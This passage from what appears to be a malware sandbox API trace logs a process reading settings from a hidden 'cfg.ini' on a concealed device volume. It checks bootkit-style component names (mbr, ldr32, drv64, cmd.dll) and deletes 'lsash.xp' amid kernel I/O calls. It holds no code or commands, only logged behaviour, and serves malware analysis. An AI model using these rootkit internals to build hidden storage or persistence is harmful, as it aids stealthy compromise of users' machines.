State=0 | out: Event=0xfffff880028b25d0) [0128.352] IdePortDispatch () returned 0x103 [0128.352] KeWaitForMutexObject () returned 0x0 [0128.352] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.352] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.352] IdePortDispatch () returned 0x103 [0128.352] KeWaitForMutexObject () returned 0x0 [0128.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.353] KeLeaveCriticalRegion () [0128.353] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.353] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.353] KeEnterCriticalRegion () [0128.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.353] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.353] KeLeaveCriticalRegion () [0128.353] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.353] KeEnterCriticalRegion () [0128.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.353] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.353] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.353] KeLeaveCriticalRegion () [0128.353] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.354] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.354] KeEnterCriticalRegion () [0128.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.354] ExFreePoolWithTag (P=0xfffffa80039508e0, Tag=0x0) [0128.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.354] KeLeaveCriticalRegion () [0128.354] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.354] ReleaseMutex (hMutex=0xf0) returned 1 [0128.354] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.354] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.354] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.354] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.354] KeEnterCriticalRegion () [0128.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.354] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.354] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.354] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.354] IdePortDispatch () returned 0x103 [0128.355] KeWaitForMutexObject () returned 0x0 [0128.356] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.356] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.356] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.356] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.356] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.356] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.356] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.356] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.356] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.356] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.356] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.356] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.356] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.356] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.356] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.356] KeLeaveCriticalRegion () [0128.356] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.356] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.356] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.356] KeEnterCriticalRegion () [0128.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.356] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.356] IdePortDispatch () returned 0x103 [0128.356] KeWaitForMutexObject () returned 0x0 [0128.356] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.357] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.357] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.357] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.357] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.357] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.357] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.357] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.357] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.357] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.357] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.357] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.357] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.357] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.357] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.357] KeLeaveCriticalRegion () [0128.357] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.357] ReleaseMutex (hMutex=0x100) returned 1 [0128.357] Sleep (dwMilliseconds=0x2bf20) [0128.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fb62ab0, dwHighDateTime=0x1d24fa4)) [0128.365] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.365] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.365] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.365] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.365] KeEnterCriticalRegion () [0128.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.365] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.365] IdePortDispatch () returned 0x103 [0128.365] KeWaitForMutexObject () returned 0x0 [0128.365] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.365] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.365] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.365] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.366] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.366] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe410 [0128.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.366] KeLeaveCriticalRegion () [0128.366] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.366] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.366] KeEnterCriticalRegion () [0128.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.366] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.366] KeLeaveCriticalRegion () [0128.366] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.366] KeEnterCriticalRegion () [0128.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.366] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.366] IdePortDispatch () returned 0x103 [0128.366] KeWaitForMutexObject () returned 0x0 [0128.366] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.366] KeLeaveCriticalRegion () [0128.366] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.366] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.367] KeEnterCriticalRegion () [0128.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.367] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b0000 [0128.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.367] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.367] IdePortDispatch () returned 0x103 [0128.367] KeWaitForMutexObject () returned 0x0 [0128.367] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.367] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.367] IdePortDispatch () returned 0x103 [0128.367] KeWaitForMutexObject () returned 0x0 [0128.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.367] KeLeaveCriticalRegion () [0128.367] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.368] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.368] KeEnterCriticalRegion () [0128.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.368] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.368] KeLeaveCriticalRegion () [0128.368] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.368] KeEnterCriticalRegion () [0128.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.368] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.368] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.368] KeLeaveCriticalRegion () [0128.368] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.368] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.368] KeEnterCriticalRegion () [0128.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.369] ExFreePoolWithTag (P=0xfffffa8003bfe410, Tag=0x0) [0128.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.369] KeLeaveCriticalRegion () [0128.369] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.369] ReleaseMutex (hMutex=0xf0) returned 1 [0128.369] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.369] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.369] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.369] KeEnterCriticalRegion () [0128.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.369] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.369] IdePortDispatch () returned 0x103 [0128.369] KeWaitForMutexObject () returned 0x0 [0128.369] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.369] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.369] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.369] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.369] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.369] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bffc20 [0128.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.369] KeLeaveCriticalRegion () [0128.369] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.369] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.370] KeEnterCriticalRegion () [0128.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.370] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.370] KeLeaveCriticalRegion () [0128.370] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.370] KeEnterCriticalRegion () [0128.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.370] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.370] IdePortDispatch () returned 0x103 [0128.370] KeWaitForMutexObject () returned 0x0 [0128.370] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.370] KeLeaveCriticalRegion () [0128.370] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.370] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.370] KeEnterCriticalRegion () [0128.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.370] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b1000 [0128.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.370] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.370] IdePortDispatch () returned 0x103 [0128.371] KeWaitForMutexObject () returned 0x0 [0128.371] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.371] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.371] IdePortDispatch () returned 0x103 [0128.371] KeWaitForMutexObject () returned 0x0 [0128.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.371] KeLeaveCriticalRegion () [0128.371] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.372] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.372] KeEnterCriticalRegion () [0128.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.372] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.372] KeLeaveCriticalRegion () [0128.372] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.372] KeEnterCriticalRegion () [0128.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.372] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.372] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bffce0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.372] KeLeaveCriticalRegion () [0128.372] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.372] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.372] KeEnterCriticalRegion () [0128.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.372] ExFreePoolWithTag (P=0xfffffa8003bffc20, Tag=0x0) [0128.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.372] KeLeaveCriticalRegion () [0128.372] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.372] ReleaseMutex (hMutex=0xf0) returned 1 [0128.372] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.373] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.373] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.373] KeEnterCriticalRegion () [0128.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.373] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.373] IdePortDispatch () returned 0x103 [0128.373] KeWaitForMutexObject () returned 0x0 [0128.373] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.373] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.373] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.373] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.373] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.373] FsRtlAllocatePool (PoolType=0x0, 